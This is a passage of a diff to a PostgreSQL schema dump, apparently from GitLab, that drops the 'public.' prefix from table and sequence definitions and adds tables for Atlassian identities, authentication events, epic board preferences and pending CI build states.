name character varying NOT NULL,
rule_type smallint DEFAULT 1 NOT NULL,
report_type smallint,
@@ -9295,61 +9317,61 @@ CREATE TABLE public.approval_merge_request_rules (
CONSTRAINT check_6fca5928b2 CHECK ((char_length(section) <= 255))
);
-CREATE TABLE public.approval_merge_request_rules_approved_approvers (
+CREATE TABLE approval_merge_request_rules_approved_approvers (
id bigint NOT NULL,
approval_merge_request_rule_id bigint NOT NULL,
user_id integer NOT NULL
);
-CREATE SEQUENCE public.approval_merge_request_rules_approved_approvers_id_seq
+CREATE SEQUENCE approval_merge_request_rules_approved_approvers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_merge_request_rules_approved_approvers_id_seq OWNED BY public.approval_merge_request_rules_approved_approvers.id;
+ALTER SEQUENCE approval_merge_request_rules_approved_approvers_id_seq OWNED BY approval_merge_request_rules_approved_approvers.id;
-CREATE TABLE public.approval_merge_request_rules_groups (
+CREATE TABLE approval_merge_request_rules_groups (
id bigint NOT NULL,
approval_merge_request_rule_id bigint NOT NULL,
group_id integer NOT NULL
);
-CREATE SEQUENCE public.approval_merge_request_rules_groups_id_seq
+CREATE SEQUENCE approval_merge_request_rules_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_merge_request_rules_groups_id_seq OWNED BY public.approval_merge_request_rules_groups.id;
+ALTER SEQUENCE approval_merge_request_rules_groups_id_seq OWNED BY approval_merge_request_rules_groups.id;
-CREATE SEQUENCE public.approval_merge_request_rules_id_seq
+CREATE SEQUENCE approval_merge_request_rules_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_merge_request_rules_id_seq OWNED BY public.approval_merge_request_rules.id;
+ALTER SEQUENCE approval_merge_request_rules_id_seq OWNED BY approval_merge_request_rules.id;
-CREATE TABLE public.approval_merge_request_rules_users (
+CREATE TABLE approval_merge_request_rules_users (
id bigint NOT NULL,
approval_merge_request_rule_id bigint NOT NULL,
user_id integer NOT NULL
);
-CREATE SEQUENCE public.approval_merge_request_rules_users_id_seq
+CREATE SEQUENCE approval_merge_request_rules_users_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_merge_request_rules_users_id_seq OWNED BY public.approval_merge_request_rules_users.id;
+ALTER SEQUENCE approval_merge_request_rules_users_id_seq OWNED BY approval_merge_request_rules_users.id;
-CREATE TABLE public.approval_project_rules (
+CREATE TABLE approval_project_rules (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -9359,51 +9381,51 @@ CREATE TABLE public.approval_project_rules (
rule_type smallint DEFAULT 0 NOT NULL
);
-CREATE TABLE public.approval_project_rules_groups (
+CREATE TABLE approval_project_rules_groups (
id bigint NOT NULL,
approval_project_rule_id bigint NOT NULL,
group_id integer NOT NULL
);
-CREATE SEQUENCE public.approval_project_rules_groups_id_seq
+CREATE SEQUENCE approval_project_rules_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_project_rules_groups_id_seq OWNED BY public.approval_project_rules_groups.id;
+ALTER SEQUENCE approval_project_rules_groups_id_seq OWNED BY approval_project_rules_groups.id;
-CREATE SEQUENCE public.approval_project_rules_id_seq
+CREATE SEQUENCE approval_project_rules_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_project_rules_id_seq OWNED BY public.approval_project_rules.id;
+ALTER SEQUENCE approval_project_rules_id_seq OWNED BY approval_project_rules.id;
-CREATE TABLE public.approval_project_rules_protected_branches (
+CREATE TABLE approval_project_rules_protected_branches (
approval_project_rule_id bigint NOT NULL,
protected_branch_id bigint NOT NULL
);
-CREATE TABLE public.approval_project_rules_users (
+CREATE TABLE approval_project_rules_users (
id bigint NOT NULL,
approval_project_rule_id bigint NOT NULL,
user_id integer NOT NULL
);
-CREATE SEQUENCE public.approval_project_rules_users_id_seq
+CREATE SEQUENCE approval_project_rules_users_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approval_project_rules_users_id_seq OWNED BY public.approval_project_rules_users.id;
+ALTER SEQUENCE approval_project_rules_users_id_seq OWNED BY approval_project_rules_users.id;
-CREATE TABLE public.approvals (
+CREATE TABLE approvals (
id integer NOT NULL,
merge_request_id integer NOT NULL,
user_id integer NOT NULL,
@@ -9411,16 +9433,16 @@ CREATE TABLE public.approvals (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.approvals_id_seq
+CREATE SEQUENCE approvals_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approvals_id_seq OWNED BY public.approvals.id;
+ALTER SEQUENCE approvals_id_seq OWNED BY approvals.id;
-CREATE TABLE public.approver_groups (
+CREATE TABLE approver_groups (
id integer NOT NULL,
target_id integer NOT NULL,
target_type character varying NOT NULL,
@@ -9429,16 +9451,16 @@ CREATE TABLE public.approver_groups (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.approver_groups_id_seq
+CREATE SEQUENCE approver_groups_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approver_groups_id_seq OWNED BY public.approver_groups.id;
+ALTER SEQUENCE approver_groups_id_seq OWNED BY approver_groups.id;
-CREATE TABLE public.approvers (
+CREATE TABLE approvers (
id integer NOT NULL,
target_id integer NOT NULL,
target_type character varying,
@@ -9447,23 +9469,49 @@ CREATE TABLE public.approvers (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.approvers_id_seq
+CREATE SEQUENCE approvers_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.approvers_id_seq OWNED BY public.approvers.id;
+ALTER SEQUENCE approvers_id_seq OWNED BY approvers.id;
-CREATE TABLE public.ar_internal_metadata (
+CREATE TABLE ar_internal_metadata (
key character varying NOT NULL,
value character varying,
created_at timestamp(6) without time zone NOT NULL,
updated_at timestamp(6) without time zone NOT NULL
);
-CREATE TABLE public.audit_events (
+CREATE TABLE atlassian_identities (
+ user_id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ expires_at timestamp with time zone,
+ extern_uid text NOT NULL,
+ encrypted_token bytea,
+ encrypted_token_iv bytea,
+ encrypted_refresh_token bytea,
+ encrypted_refresh_token_iv bytea,
+ CONSTRAINT atlassian_identities_refresh_token_iv_length_constraint CHECK ((octet_length(encrypted_refresh_token_iv) <= 12)),
+ CONSTRAINT atlassian_identities_refresh_token_length_constraint CHECK ((octet_length(encrypted_refresh_token) <= 512)),
+ CONSTRAINT atlassian_identities_token_iv_length_constraint CHECK ((octet_length(encrypted_token_iv) <= 12)),
+ CONSTRAINT atlassian_identities_token_length_constraint CHECK ((octet_length(encrypted_token) <= 2048)),
+ CONSTRAINT check_32f5779763 CHECK ((char_length(extern_uid) <= 255))
+);
+
+CREATE SEQUENCE atlassian_identities_user_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE atlassian_identities_user_id_seq OWNED BY atlassian_identities.user_id;
+
+CREATE TABLE audit_events (
id integer NOT NULL,
author_id integer NOT NULL,
type character varying,
@@ -9476,22 +9524,44 @@ CREATE TABLE public.audit_events (
entity_path text,
target_details text,
target_type text,
+ target_id bigint,
CONSTRAINT check_492aaa021d CHECK ((char_length(entity_path) <= 5500)),
CONSTRAINT check_82294106dd CHECK ((char_length(target_type) <= 255)),
CONSTRAINT check_83ff8406e2 CHECK ((char_length(author_name) <= 255)),
CONSTRAINT check_d493ec90b5 CHECK ((char_length(target_details) <= 5500))
);
-CREATE SEQUENCE public.audit_events_id_seq
+CREATE SEQUENCE audit_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.audit_events_id_seq OWNED BY public.audit_events.id;
+ALTER SEQUENCE audit_events_id_seq OWNED BY audit_events.id;
+
+CREATE TABLE authentication_events (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ user_id bigint,
+ result smallint NOT NULL,
+ ip_address inet,
+ provider text NOT NULL,
+ user_name text NOT NULL,
+ CONSTRAINT check_45a6cc4e80 CHECK ((char_length(user_name) <= 255)),
+ CONSTRAINT check_c64f424630 CHECK ((char_length(provider) <= 64))
+);
-CREATE TABLE public.award_emoji (
+CREATE SEQUENCE authentication_events_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE authentication_events_id_seq OWNED BY authentication_events.id;
+
+CREATE TABLE award_emoji (
id integer NOT NULL,
name character varying,
user_id integer,
@@ -9501,16 +9571,16 @@ CREATE TABLE public.award_emoji (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.award_emoji_id_seq
+CREATE SEQUENCE award_emoji_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.award_emoji_id_seq OWNED BY public.award_emoji.id;
+ALTER SEQUENCE award_emoji_id_seq OWNED BY award_emoji.id;
-CREATE TABLE public.aws_roles (
+CREATE TABLE aws_roles (
user_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -9518,7 +9588,7 @@ CREATE TABLE public.aws_roles (
role_external_id character varying(64) NOT NULL
);
-CREATE TABLE public.background_migration_jobs (
+CREATE TABLE background_migration_jobs (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -9528,16 +9598,16 @@ CREATE TABLE public.background_migration_jobs (
CONSTRAINT check_b0de0a5852 CHECK ((char_length(class_name) <= 200))
);
-CREATE SEQUENCE public.background_migration_jobs_id_seq
+CREATE SEQUENCE background_migration_jobs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.background_migration_jobs_id_seq OWNED BY public.background_migration_jobs.id;
+ALTER SEQUENCE background_migration_jobs_id_seq OWNED BY background_migration_jobs.id;
-CREATE TABLE public.backup_labels (
+CREATE TABLE backup_labels (
id integer NOT NULL,
title character varying,
color character varying,
@@ -9554,7 +9624,7 @@ CREATE TABLE public.backup_labels (
new_title character varying
);
-CREATE TABLE public.badges (
+CREATE TABLE badges (
id integer NOT NULL,
link_url character varying NOT NULL,
image_url character varying NOT NULL,
@@ -9566,31 +9636,31 @@ CREATE TABLE public.badges (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.badges_id_seq
+CREATE SEQUENCE badges_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.badges_id_seq OWNED BY public.badges.id;
+ALTER SEQUENCE badges_id_seq OWNED BY badges.id;
-CREATE TABLE public.board_assignees (
+CREATE TABLE board_assignees (
id integer NOT NULL,
board_id integer NOT NULL,
assignee_id integer NOT NULL
);
-CREATE SEQUENCE public.board_assignees_id_seq
+CREATE SEQUENCE board_assignees_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.board_assignees_id_seq OWNED BY public.board_assignees.id;
+ALTER SEQUENCE board_assignees_id_seq OWNED BY board_assignees.id;
-CREATE TABLE public.board_group_recent_visits (
+CREATE TABLE board_group_recent_visits (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -9599,31 +9669,31 @@ CREATE TABLE public.board_group_recent_visits (
group_id integer
);
-CREATE SEQUENCE public.board_group_recent_visits_id_seq
+CREATE SEQUENCE board_group_recent_visits_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.board_group_recent_visits_id_seq OWNED BY public.board_group_recent_visits.id;
+ALTER SEQUENCE board_group_recent_visits_id_seq OWNED BY board_group_recent_visits.id;
-CREATE TABLE public.board_labels (
+CREATE TABLE board_labels (
id integer NOT NULL,
board_id integer NOT NULL,
label_id integer NOT NULL
);
-CREATE SEQUENCE public.board_labels_id_seq
+CREATE SEQUENCE board_labels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.board_labels_id_seq OWNED BY public.board_labels.id;
+ALTER SEQUENCE board_labels_id_seq OWNED BY board_labels.id;
-CREATE TABLE public.board_project_recent_visits (
+CREATE TABLE board_project_recent_visits (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -9632,16 +9702,16 @@ CREATE TABLE public.board_project_recent_visits (
board_id integer
);
-CREATE SEQUENCE public.board_project_recent_visits_id_seq
+CREATE SEQUENCE board_project_recent_visits_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.board_project_recent_visits_id_seq OWNED BY public.board_project_recent_visits.id;
+ALTER SEQUENCE board_project_recent_visits_id_seq OWNED BY board_project_recent_visits.id;
-CREATE TABLE public.board_user_preferences (
+CREATE TABLE board_user_preferences (
id bigint NOT NULL,
user_id bigint NOT NULL,
board_id bigint NOT NULL,
@@ -9650,16 +9720,16 @@ CREATE TABLE public.board_user_preferences (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.board_user_preferences_id_seq
+CREATE SEQUENCE board_user_preferences_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.board_user_preferences_id_seq OWNED BY public.board_user_preferences.id;
+ALTER SEQUENCE board_user_preferences_id_seq OWNED BY board_user_preferences.id;
-CREATE TABLE public.boards (
+CREATE TABLE boards (
id integer NOT NULL,
project_id integer,
created_at timestamp without time zone NOT NULL,
@@ -9672,16 +9742,33 @@ CREATE TABLE public.boards (
hide_closed_list boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.boards_id_seq
+CREATE TABLE boards_epic_user_preferences (
+ id bigint NOT NULL,
+ board_id bigint NOT NULL,
+ user_id bigint NOT NULL,
+ epic_id bigint NOT NULL,
+ collapsed boolean DEFAULT false NOT NULL
+);
+
+CREATE SEQUENCE boards_epic_user_preferences_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE boards_epic_user_preferences_id_seq OWNED BY boards_epic_user_preferences.id;
+
+CREATE SEQUENCE boards_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.boards_id_seq OWNED BY public.boards.id;
+ALTER SEQUENCE boards_id_seq OWNED BY boards.id;
-CREATE TABLE public.broadcast_messages (
+CREATE TABLE broadcast_messages (
id integer NOT NULL,
message text NOT NULL,
starts_at timestamp without time zone NOT NULL,
@@ -9697,16 +9784,16 @@ CREATE TABLE public.broadcast_messages (
dismissable boolean
);
-CREATE SEQUENCE public.broadcast_messages_id_seq
+CREATE SEQUENCE broadcast_messages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.broadcast_messages_id_seq OWNED BY public.broadcast_messages.id;
+ALTER SEQUENCE broadcast_messages_id_seq OWNED BY broadcast_messages.id;
-CREATE TABLE public.chat_names (
+CREATE TABLE chat_names (
id integer NOT NULL,
user_id integer NOT NULL,
service_id integer NOT NULL,
@@ -9719,16 +9806,16 @@ CREATE TABLE public.chat_names (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.chat_names_id_seq
+CREATE SEQUENCE chat_names_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.chat_names_id_seq OWNED BY public.chat_names.id;
+ALTER SEQUENCE chat_names_id_seq OWNED BY chat_names.id;
-CREATE TABLE public.chat_teams (
+CREATE TABLE chat_teams (
id integer NOT NULL,
namespace_id integer NOT NULL,
team_id character varying,
@@ -9737,79 +9824,99 @@ CREATE TABLE public.chat_teams (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.chat_teams_id_seq
+CREATE SEQUENCE chat_teams_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.chat_teams_id_seq OWNED BY public.chat_teams.id;
+ALTER SEQUENCE chat_teams_id_seq OWNED BY chat_teams.id;
-CREATE TABLE public.ci_build_needs (
+CREATE TABLE ci_build_needs (
id integer NOT NULL,
build_id integer NOT NULL,
name text NOT NULL,
artifacts boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.ci_build_needs_id_seq
+CREATE SEQUENCE ci_build_needs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_build_needs_id_seq OWNED BY public.ci_build_needs.id;
+ALTER SEQUENCE ci_build_needs_id_seq OWNED BY ci_build_needs.id;
-CREATE TABLE public.ci_build_report_results (
+CREATE TABLE ci_build_pending_states (
+ id bigint NOT NULL,
+ created_at timestamp with time zone NOT NULL,
+ updated_at timestamp with time zone NOT NULL,
+ build_id bigint NOT NULL,
+ state smallint,
+ failure_reason smallint,
+ trace_checksum bytea
+);
+
+CREATE SEQUENCE ci_build_pending_states_id_seq
+ START WITH 1
+ INCREMENT BY 1
+ NO MINVALUE
+ NO MAXVALUE
+ CACHE 1;
+
+ALTER SEQUENCE ci_build_pending_states_id_seq OWNED BY ci_build_pending_states.id;
+
+CREATE TABLE ci_build_report_results (
build_id bigint NOT NULL,
project_id bigint NOT NULL,
data jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE SEQUENCE public.ci_build_report_results_build_id_seq
+CREATE SEQUENCE ci_build_report_results_build_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_build_report_results_build_id_seq OWNED BY public.ci_build_report_results.build_id;
+ALTER SEQUENCE ci_build_report_results_build_id_seq OWNED BY ci_build_report_results.build_id;
-CREATE TABLE public.ci_build_trace_chunks (
+CREATE TABLE ci_build_trace_chunks (
id bigint NOT NULL,
build_id integer NOT NULL,
chunk_index integer NOT NULL,
data_store integer NOT NULL,
- raw_data bytea
+ raw_data bytea,
+ checksum bytea
);
-CREATE SEQUENCE public.ci_build_trace_chunks_id_seq
+CREATE SEQUENCE ci_build_trace_chunks_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_build_trace_chunks_id_seq OWNED BY public.ci_build_trace_chunks.id;
+ALTER SEQUENCE ci_build_trace_chunks_id_seq OWNED BY ci_build_trace_chunks.id;
-CREATE TABLE public.ci_build_trace_section_names (
+CREATE TABLE ci_build_trace_section_names (
id integer NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL
);
-CREATE SEQUENCE public.ci_build_trace_section_names_id_seq
+CREATE SEQUENCE ci_build_trace_section_names_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_build_trace_section_names_id_seq OWNED BY public.ci_build_trace_section_names.id;
+ALTER SEQUENCE ci_build_trace_section_names_id_seq OWNED BY ci_build_trace_section_names.id;
-CREATE TABLE public.ci_build_trace_sections (
+CREATE TABLE ci_build_trace_sections (
project_id integer NOT NULL,
date_start timestamp without time zone NOT NULL,
date_end timestamp without time zone NOT NULL,
@@ -9819,7 +9926,7 @@ CREATE TABLE public.ci_build_trace_sections (
section_name_id integer NOT NULL
);
-CREATE TABLE public.ci_builds (
+CREATE TABLE ci_builds (
id integer NOT NULL,
status character varying,
finished_at timestamp without time zone,
@@ -9874,16 +9981,16 @@ CREATE TABLE public.ci_builds (
CONSTRAINT check_1e2fbd1b39 CHECK ((lock_version IS NOT NULL))
);
-CREATE SEQUENCE public.ci_builds_id_seq
+CREATE SEQUENCE ci_builds_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_builds_id_seq OWNED BY public.ci_builds.id;
+ALTER SEQUENCE ci_builds_id_seq OWNED BY ci_builds.id;
-CREATE TABLE public.ci_builds_metadata (
+CREATE TABLE ci_builds_metadata (
id integer NOT NULL,
build_id integer NOT NULL,
project_id integer NOT NULL,
@@ -9898,16 +10005,16 @@ CREATE TABLE public.ci_builds_metadata (
secrets jsonb DEFAULT '{}'::jsonb NOT NULL
);
-CREATE SEQUENCE public.ci_builds_metadata_id_seq
+CREATE SEQUENCE ci_builds_metadata_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_builds_metadata_id_seq OWNED BY public.ci_builds_metadata.id;
+ALTER SEQUENCE ci_builds_metadata_id_seq OWNED BY ci_builds_metadata.id;
-CREATE TABLE public.ci_builds_runner_session (
+CREATE TABLE ci_builds_runner_session (
id bigint NOT NULL,
build_id integer NOT NULL,
url character varying NOT NULL,
@@ -9915,16 +10022,16 @@ CREATE TABLE public.ci_builds_runner_session (
"authorization" character varying
);
-CREATE SEQUENCE public.ci_builds_runner_session_id_seq
+CREATE SEQUENCE ci_builds_runner_session_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_builds_runner_session_id_seq OWNED BY public.ci_builds_runner_session.id;
+ALTER SEQUENCE ci_builds_runner_session_id_seq OWNED BY ci_builds_runner_session.id;
-CREATE TABLE public.ci_daily_build_group_report_results (
+CREATE TABLE ci_daily_build_group_report_results (
id bigint NOT NULL,
date date NOT NULL,
project_id bigint NOT NULL,
@@ -9934,16 +10041,16 @@ CREATE TABLE public.ci_daily_build_group_report_results (
data jsonb NOT NULL
);
-CREATE SEQUENCE public.ci_daily_build_group_report_results_id_seq
+CREATE SEQUENCE ci_daily_build_group_report_results_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_daily_build_group_report_results_id_seq OWNED BY public.ci_daily_build_group_report_results.id;
+ALTER SEQUENCE ci_daily_build_group_report_results_id_seq OWNED BY ci_daily_build_group_report_results.id;
-CREATE TABLE public.ci_freeze_periods (
+CREATE TABLE ci_freeze_periods (
id bigint NOT NULL,
project_id bigint NOT NULL,
freeze_start character varying(998) NOT NULL,
@@ -9953,16 +10060,16 @@ CREATE TABLE public.ci_freeze_periods (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.ci_freeze_periods_id_seq
+CREATE SEQUENCE ci_freeze_periods_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_freeze_periods_id_seq OWNED BY public.ci_freeze_periods.id;
+ALTER SEQUENCE ci_freeze_periods_id_seq OWNED BY ci_freeze_periods.id;
-CREATE TABLE public.ci_group_variables (
+CREATE TABLE ci_group_variables (
id integer NOT NULL,
key character varying NOT NULL,
value text,
@@ -9977,16 +10084,16 @@ CREATE TABLE public.ci_group_variables (
variable_type smallint DEFAULT 1 NOT NULL
);
-CREATE SEQUENCE public.ci_group_variables_id_seq
+CREATE SEQUENCE ci_group_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_group_variables_id_seq OWNED BY public.ci_group_variables.id;
+ALTER SEQUENCE ci_group_variables_id_seq OWNED BY ci_group_variables.id;
-CREATE TABLE public.ci_instance_variables (
+CREATE TABLE ci_instance_variables (
id bigint NOT NULL,
variable_type smallint DEFAULT 1 NOT NULL,
masked boolean DEFAULT false,
@@ -9999,16 +10106,16 @@ CREATE TABLE public.ci_instance_variables (
CONSTRAINT check_956afd70f1 CHECK ((char_length(encrypted_value) <= 13579))
);
-CREATE SEQUENCE public.ci_instance_variables_id_seq
+CREATE SEQUENCE ci_instance_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_instance_variables_id_seq OWNED BY public.ci_instance_variables.id;
+ALTER SEQUENCE ci_instance_variables_id_seq OWNED BY ci_instance_variables.id;
-CREATE TABLE public.ci_job_artifacts (
+CREATE TABLE ci_job_artifacts (
id integer NOT NULL,
project_id integer NOT NULL,
job_id integer NOT NULL,
@@ -10022,20 +10129,19 @@ CREATE TABLE public.ci_job_artifacts (
file_sha256 bytea,
file_format smallint,
file_location smallint,
- locked boolean,
CONSTRAINT check_27f0f6dbab CHECK ((file_store IS NOT NULL))
);
-CREATE SEQUENCE public.ci_job_artifacts_id_seq
+CREATE SEQUENCE ci_job_artifacts_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_job_artifacts_id_seq OWNED BY public.ci_job_artifacts.id;
+ALTER SEQUENCE ci_job_artifacts_id_seq OWNED BY ci_job_artifacts.id;
-CREATE TABLE public.ci_job_variables (
+CREATE TABLE ci_job_variables (
id bigint NOT NULL,
key character varying NOT NULL,
encrypted_value text,
@@ -10045,16 +10151,16 @@ CREATE TABLE public.ci_job_variables (
source smallint DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.ci_job_variables_id_seq
+CREATE SEQUENCE ci_job_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_job_variables_id_seq OWNED BY public.ci_job_variables.id;
+ALTER SEQUENCE ci_job_variables_id_seq OWNED BY ci_job_variables.id;
-CREATE TABLE public.ci_pipeline_artifacts (
+CREATE TABLE ci_pipeline_artifacts (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -10070,32 +10176,32 @@ CREATE TABLE public.ci_pipeline_artifacts (
CONSTRAINT check_abeeb71caf CHECK ((file IS NOT NULL))
);
-CREATE SEQUENCE public.ci_pipeline_artifacts_id_seq
+CREATE SEQUENCE ci_pipeline_artifacts_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipeline_artifacts_id_seq OWNED BY public.ci_pipeline_artifacts.id;
+ALTER SEQUENCE ci_pipeline_artifacts_id_seq OWNED BY ci_pipeline_artifacts.id;
-CREATE TABLE public.ci_pipeline_chat_data (
+CREATE TABLE ci_pipeline_chat_data (
id bigint NOT NULL,
pipeline_id integer NOT NULL,
chat_name_id integer NOT NULL,
response_url text NOT NULL
);
-CREATE SEQUENCE public.ci_pipeline_chat_data_id_seq
+CREATE SEQUENCE ci_pipeline_chat_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipeline_chat_data_id_seq OWNED BY public.ci_pipeline_chat_data.id;
+ALTER SEQUENCE ci_pipeline_chat_data_id_seq OWNED BY ci_pipeline_chat_data.id;
-CREATE TABLE public.ci_pipeline_messages (
+CREATE TABLE ci_pipeline_messages (
id bigint NOT NULL,
severity smallint DEFAULT 0 NOT NULL,
pipeline_id integer NOT NULL,
@@ -10103,16 +10209,16 @@ CREATE TABLE public.ci_pipeline_messages (
CONSTRAINT check_58ca2981b2 CHECK ((char_length(content) <= 10000))
);
-CREATE SEQUENCE public.ci_pipeline_messages_id_seq
+CREATE SEQUENCE ci_pipeline_messages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipeline_messages_id_seq OWNED BY public.ci_pipeline_messages.id;
+ALTER SEQUENCE ci_pipeline_messages_id_seq OWNED BY ci_pipeline_messages.id;
-CREATE TABLE public.ci_pipeline_schedule_variables (
+CREATE TABLE ci_pipeline_schedule_variables (
id integer NOT NULL,
key character varying NOT NULL,
value text,
@@ -10125,16 +10231,16 @@ CREATE TABLE public.ci_pipeline_schedule_variables (
variable_type smallint DEFAULT 1 NOT NULL
);
-CREATE SEQUENCE public.ci_pipeline_schedule_variables_id_seq
+CREATE SEQUENCE ci_pipeline_schedule_variables_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.ci_pipeline_schedule_variables_id_seq OWNED BY public.ci_pipeline_schedule_variables.id;
+ALTER SEQUENCE ci_pipeline_schedule_variables_id_seq OWNED BY ci_pipeline_schedule_variables.id;
-CREATE TABLE public.ci_pipeline_schedules (
+CREATE TABLE ci_pipeline_schedules (
id integer NOT NULL,
description character varying,
ref character varying,
@@ -10148,16 +10254,16 @@ CREATE TABLE public.ci_pipeline_schedules (
updated_at timestamp without time zone
);
-CREATE SEQUENCE public.ci_pipeline_schedules_id_seq
+CREATE SEQUENCE ci_pipeline_schedules_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
